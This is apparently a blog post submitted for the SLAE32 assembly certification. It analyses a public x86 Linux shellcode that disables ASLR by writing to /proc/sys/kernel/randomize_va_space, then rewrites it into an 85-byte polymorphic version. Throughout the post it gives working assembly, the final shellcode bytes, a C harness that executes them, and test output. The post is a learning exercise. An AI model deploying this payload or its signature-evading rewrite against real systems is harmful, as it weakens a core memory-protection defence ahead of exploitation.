SLAE32 Assignment 6.2 - Polymorphic ASLR Deactivation
Overview
This shellcode is a polymorphic version of Jean Pascal Pereiras x86 ASLR deactivation - 83 bytes
shellcode.
- The final polymorphic version of the shellcode is
85 bytes
. - The original shellcode can be found at:
http://shell-storm.org/shellcode/files/shellcode-813.php
Analyzing the Shellcode
To begin to create a polymorphic version of this shellcode I first had to understand it.
Original Shellcode
08048060 <_start>:
8048060: 31 c0 xor %eax,%eax
8048062: 50 push %eax
8048063: 68 70 61 63 65 push $0x65636170
8048068: 68 76 61 5f 73 push $0x735f6176
804806d: 68 69 7a 65 5f push $0x5f657a69
8048072: 68 6e 64 6f 6d push $0x6d6f646e
8048077: 68 6c 2f 72 61 push $0x61722f6c
804807c: 68 65 72 6e 65 push $0x656e7265
8048081: 68 79 73 2f 6b push $0x6b2f7379
8048086: 68 6f 63 2f 73 push $0x732f636f
804808b: 68 2f 2f 70 72 push $0x72702f2f
8048090: 89 e3 mov %esp,%ebx
8048092: 66 b9 bc 02 mov $0x2bc,%cx
8048096: b0 08 mov $0x8,%al
8048098: cd 80 int $0x80
804809a: 89 c3 mov %eax,%ebx
804809c: 50 push %eax
804809d: 66 ba 30 3a mov $0x3a30,%dx
80480a1: 66 52 push %dx
80480a3: 89 e1 mov %esp,%ecx
80480a5: 31 d2 xor %edx,%edx
80480a7: 42 inc %edx
80480a8: b0 04 mov $0x4,%al
80480aa: cd 80 int $0x80
80480ac: b0 06 mov $0x6,%al
80480ae: cd 80 int $0x80
80480b0: 40 inc %eax
80480b1: cd 80 int $0x80
- This is in the AT&T Assembly format, and not the Intel format.
- Since I am used to the Intel Syntax, the first thing I did was reformat the code into a nasm file.
Commented Intel Version of the Shellcode
; Filename: offASLR.nasm
; Author: boku
; Purpose: Polymorphic version of Jean Pascal Pereiras
; Linux x86 ASLR deactivation - 83 bytes
; Original: http://shell-storm.org/shellcode/files/shellcode-813.php
global _start
section .text:
_start:
xor eax,eax ; clears eax register
push eax ; pushes Null onto stack
; Null terminates the string
push 0x65636170
; python -c 'print "65636170".decode("hex")'
; ecap
push 0x735f6176
; python -c 'print "735f6176".decode("hex")'
; s_av
push 0x5f657a69
; python -c 'print "5f657a69".decode("hex")'
; _ezi
push 0x6d6f646e
; python -c 'print "6d6f646e".decode("hex")'
; modn
push 0x61722f6c
; python -c 'print "61722f6c".decode("hex")'
; ar/l
push 0x656e7265
; python -c 'print "656e7265".decode("hex")'
; enre
push 0x6b2f7379
; python -c 'print "6b2f7379".decode("hex")'
; k/sy
push 0x732f636f
; python -c 'print "732f636f".decode("hex")'
; s/co
push 0x72702f2f
; python -c 'print "72702f2f".decode("hex")'
; rp//
; Full String: //proc/sys/kernel/randomize_va_space
mov ebx,esp ; Puts the memory location of our string that
; is on top of the stack into the ebx register
mov cx,0x2bc ; the arguement for the variable `mode_t mode`
; 0x2bc = 700 (deci) = 1274 (ocatal)
; Probably inteded mode argument was for:
; S_IRWXU 00700 user (file owner) has read, write and execute permission
; from man 2 creat:
; Note that this mode only applies to future accesses of the newly created file
; Since the creat() function is being used to open and not create a file,
; this argument probably does not matter. My guess is it should be
; in octal 700, and not decimal 700.
mov al,0x8 ; creat systemcall
; /usr/include/i386-linux-gnu/asm/unistd_32.h
; #define __NR_creat 8
; man 2 creat
; open, creat - open and possibly create a file or device
; int creat(const char *pathname, mode_t mode);
; EAX EBX ECX
; mode specifies the permissions to use in case a new file is created.
int 0x80 ; Systemcall Interrupt
; man 2 write
; write - write to a file descriptor
; ssize_t write(int fd, const void *buf, size_t count);
; EAX EBX ECX EDX
mov ebx,eax ; moves the file descripter returned from the
; creat systemcall to the ebx register.
push eax ; pushes the file descripter onto the stack
mov dx,0x3a30
push dx
mov ecx,esp ; points ecx register to the top of the stack
; stack is loaded for the const void *buff arguement
xor edx,edx ; Clears the edx register
inc edx ; edx is now 1
mov al,0x4 ; write systemcall
; /usr/include/i386-linux-gnu/asm/unistd_32.h
; #define __NR_write 4
int 0x80 ; Systemcall Interrupt
; man 2 close
; close - close a file descriptor
; int close(int fd);
mov al,0x6 ; close systemcall
; /usr/include/i386-linux-gnu/asm/unistd_32.h
; #define __NR_close 6
int 0x80 ; Systemcall Interrupt
; man 2 pidwait
; pid_t wait(int *status);
; wait, waitpid, waitid - wait for process to change state
inc eax ; waitpid systemcall
; /usr/include/i386-linux-gnu/asm/unistd_32.h
; #define __NR_waitpid 7
int 0x80 ; Systemcall Interrupt
Breaking down the Shellcode
After walking through it step-by-step there were still some things that left me guessing. To figure out what was needed and what some instructions were, I compiled the shellcode and ran it with gdb.
Breaking it down by interrupts there are these systemcalls/ corresponding C functions and what the register values are at the time of the systemcall interrupt int 0x80
.
creat() systemcall
int creat(const char *pathname, mode_t mode);
EAX EBX ECX
EAX: 0x8
EBX: 0xbffff598 ("//proc/sys/kernel/randomize_va_space")
ECX: 0x2bc
EDX: 0x0
write() systemcall
ssize_t write(int fd, const void *buf, size_t count);
EAX EBX ECX EDX
EAX: 0x4
EBX: 0x7
ECX: 0xbffff592 --> 0x73a30
EDX: 0x1
man ascii
reveals that themov dx,0x3a30
push “0:” onto the stack- The Ascii “0” is what is written to the aslr file to disable it.
- the
EDX
register is 1, because only one byte “0” is written to the file. ECX
points to the memory location holding the ascii “0”
close() systemcall
int close(int fd);
EAX EBX
EAX: 0x6
EBX: 0x7
ebx
holds the value that was returned from thecreat
systemcall
wait() systemcall
pid_t wait(int *status);
EAX EBX
EAX: 0x1
EBX: 0x7
- This function makes it so there is not a segmentation fault.
- The value of
ebx
does not matter in the shellcodes case.
Modifying the Shellcode
- Now that I understood what was going on I first wanted to see what I could strip off.
Removing wait()
The first thing I did was remove the systemcall wait.
- I compiled and tested the shellcode.
- It worked as intended. Although it would crash with a segmentation fault after executing.
Removed instructions
inc eax
int 0x80
Removing Unneeded Instructions
I found that the ecx
register was not needed. This is because we were using the creat
systemcall to modify a file and not creating a new file.
Looking at the edx register for the write
systemcall I found that the instructions used were bulky.
- Replaced
mov dx,0x3a30
&push dx
withpush 0x30
. - Reduces the shellcode by
4 bytes
!
I also found a push eax
instruction that was unneeded in the write systemcall.
user$ msf-nasm_shell
nasm > mov dx,0x3a30
00000000 66BA303A mov dx,0x3a30
nasm > push dx
00000000 6652 push dx
nasm > push 0x30
00000000 6A30 push byte +0x30
Removed instructions
mov cx,0x2bc
push eax
mov dx,0x3a30
push dx
Added instructions
push byte +0x30
Polymorphing Instructions
Now that I stripped the shellcode down I decided it was time to start polymorphing instructions.
The first thing I did was replace the systemcall int 0x80
instruction with a call
to a label. The label would do two things, the system interrupt and the a ret
instrctuion to return to where it was in the code execution before the call
instruction was executed.
What our Shellcode Looks like Now
; Filename: offASLR.nasm
; Author: boku
; Purpose: Polymorphic version of Jean Pascal Pereira's
; Linux x86 ASLR deactivation - 83 bytes
; Original: http://shell-storm.org/shellcode/files/shellcode-813.php
global _start
section .text:
_start:
xor eax,eax
push eax
push 0x65636170
push 0x735f6176
push 0x5f657a69
push 0x6d6f646e
push 0x61722f6c
push 0x656e7265
push 0x6b2f7379
push 0x732f636f
push 0x72702f2f
mov ebx,esp
mov al,0x8
;int 0x80
call syscallInt
mov ebx,eax
push 0x30
mov ecx,esp
xor edx,edx
inc edx
mov al,0x4
call syscallInt
mov al,0x6
call syscallInt
syscallInt:
int 0x80
ret
- After compiling and testing the shellcode, it still worked.
- Although there was one flaw. It added a bunch of
0x00
bytes to our shellcode.
Objectdump of the Shellcode
root# objdump -D offASLR.poly5
offASLR.poly5: file format elf32-i386
Disassembly of section .text::
08048054 <_start>:
8048054: 31 c0 xor %eax,%eax
8048056: 50 push %eax
8048057: 68 70 61 63 65 push $0x65636170
804805c: 68 76 61 5f 73 push $0x735f6176
8048061: 68 69 7a 65 5f push $0x5f657a69
8048066: 68 6e 64 6f 6d push $0x6d6f646e
804806b: 68 6c 2f 72 61 push $0x61722f6c
8048070: 68 65 72 6e 65 push $0x656e7265
8048075: 68 79 73 2f 6b push $0x6b2f7379
804807a: 68 6f 63 2f 73 push $0x732f636f
804807f: 68 2f 2f 70 72 push $0x72702f2f
8048084: 89 e3 mov %esp,%ebx
8048086: b0 08 mov $0x8,%al
8048088: e8 17 00 00 00 call 80480a4 <syscallInt>
804808d: 89 c3 mov %eax,%ebx
804808f: 6a 30 push $0x30
8048091: 89 e1 mov %esp,%ecx
8048093: 31 d2 xor %edx,%edx
8048095: 42 inc %edx
8048096: b0 04 mov $0x4,%al
8048098: e8 07 00 00 00 call 80480a4 <syscallInt>
804809d: b0 06 mov $0x6,%al
804809f: e8 00 00 00 00 call 80480a4 <syscallInt>
080480a4 <syscallInt>:
80480a4: cd 80 int $0x80
80480a6: c3 ret
Removing the Nulls
To fix the problem, the label syscallInt
, was moved to the top of the code.
The first instruction was to jump over the call instruction and begin executing the creat
systemcall.
- Since the label syscallInt ends with a
ret
, code execution is returned to were thesyscallInt
function was called from. - This changed all the
0x00
bytes to0xff
bytes since the call was moving backwards in the code.
root# objdump -D offASLR.poly6
offASLR.poly6: file format elf32-i386
Disassembly of section .text::
08048054 <_start>:
8048054: eb 03 jmp 8048059 <creat>
08048056 <syscallInt>:
8048056: cd 80 int $0x80
8048058: c3 ret
08048059 <creat>:
8048059: 31 c0 xor %eax,%eax
804805b: 50 push %eax
804805c: 68 70 61 63 65 push $0x65636170
8048061: 68 76 61 5f 73 push $0x735f6176
8048066: 68 69 7a 65 5f push $0x5f657a69
804806b: 68 6e 64 6f 6d push $0x6d6f646e
8048070: 68 6c 2f 72 61 push $0x61722f6c
8048075: 68 65 72 6e 65 push $0x656e7265
804807a: 68 79 73 2f 6b push $0x6b2f7379
804807f: 68 6f 63 2f 73 push $0x732f636f
8048084: 68 2f 2f 70 72 push $0x72702f2f
8048089: 89 e3 mov %esp,%ebx
804808b: b0 08 mov $0x8,%al
804808d: e8 c4 ff ff ff call 8048056 <syscallInt>
8048092: 89 c3 mov %eax,%ebx
8048094: 6a 30 push $0x30
8048096: 89 e1 mov %esp,%ecx
8048098: 31 d2 xor %edx,%edx
804809a: 42 inc %edx
804809b: b0 04 mov $0x4,%al
804809d: e8 b4 ff ff ff call 8048056 <syscallInt>
80480a2: b0 06 mov $0x6,%al
80480a4: e8 ad ff ff ff call 8048056 <syscallInt>
Final Assembly Code
; Filename: offASLR.nasm
; Author: boku
; Purpose: Polymorphic version of Jean Pascal Pereiras
; Linux x86 ASLR deactivation - 83 bytes
; Original: http://shell-storm.org/shellcode/files/shellcode-813.php
global _start
section .text:
_start:
jump:
jmp short creat
syscallInt:
int 0x80
ret
creat:
xor eax,eax
push eax
push 0x65636170
push 0x735f6176
push 0x5f657a69
push 0x6d6f646e
push 0x61722f6c
push 0x656e7265
push 0x6b2f7379
push 0x732f636f
push 0x72702f2f
mov ebx,esp
mov al,0x8
call syscallInt
mov ebx,eax
push 0x30
mov ecx,esp
xor edx,edx
inc edx
mov al,0x4
call syscallInt
mov al,0x6
call syscallInt
Testing the Final Code
Assembly the Shellcode
root# nasm -f elf32 offASLR.poly6.nasm -o offASLR.poly6.o
root# ld offASLR.poly6.o -o offASLR.poly6
Testing the Shellcode
root# echo '2' > /proc/sys/kernel/randomize_va_space
root# cat /proc/sys/kernel/randomize_va_space
2
root# ./offASLR.poly6
Segmentation fault (core dumped)
root# cat /proc/sys/kernel/randomize_va_space
0
Testing the Shellcode in a Host Program
root# objdump -D offASLR.poly6 | grep '[0-9a-f]:' | grep -v 'file' | \
cut -f2 -d: | cut -f1-6 -d' ' | tr -s ' ' | tr '\t' ' ' | \
sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s | \
sed 's/^/"/' | sed 's/$/"/g'
"\xeb\x03\xcd\x80\xc3\x31\xc0\x50\x68\x70\x61\x63\x65\x68\x76\x61\x5f"
"\x73\x68\x69\x7a\x65\x5f\x68\x6e\x64\x6f\x6d\x68\x6c\x2f\x72\x61\x68"
"\x65\x72\x6e\x65\x68\x79\x73\x2f\x6b\x68\x6f\x63\x2f\x73\x68\x2f\x2f"
"\x70\x72\x89\xe3\xb0\x08\xe8\xc4\xff\xff\xff\x89\xc3\x6a\x30\x89\xe1"
"\x31\xd2\x42\xb0\x04\xe8\xb4\xff\xff\xff\xb0\x06\xe8\xad\xff\xff\xff"
Adding the Shellcode to the Host C Program
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\xeb\x03\xcd\x80\xc3\x31\xc0\x50\x68\x70\x61\x63\x65\x68\x76\x61\x5f"
"\x73\x68\x69\x7a\x65\x5f\x68\x6e\x64\x6f\x6d\x68\x6c\x2f\x72\x61\x68"
"\x65\x72\x6e\x65\x68\x79\x73\x2f\x6b\x68\x6f\x63\x2f\x73\x68\x2f\x2f"
"\x70\x72\x89\xe3\xb0\x08\xe8\xc4\xff\xff\xff\x89\xc3\x6a\x30\x89\xe1"
"\x31\xd2\x42\xb0\x04\xe8\xb4\xff\xff\xff\xb0\x06\xe8\xad\xff\xff\xff"
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Compiling the C Program
root# gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
Testing the Injected Shellcode
root# echo 2 > /proc/sys/kernel/randomize_va_space
root# cat /proc/sys/kernel/randomize_va_space
2
root# ./shellcode
Shellcode Length: 85
Segmentation fault (core dumped)
root# cat /proc/sys/kernel/randomize_va_space
0
- Great Success! The polymorphic Shellcode works as intended by itself and when injected into another program!
SLAE32 Blog Proof
This blog post has been created for completing the requirements
of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
- Now at: https://www.pentesteracademy.com/course?id=3
SLAE/Student ID: PA-10913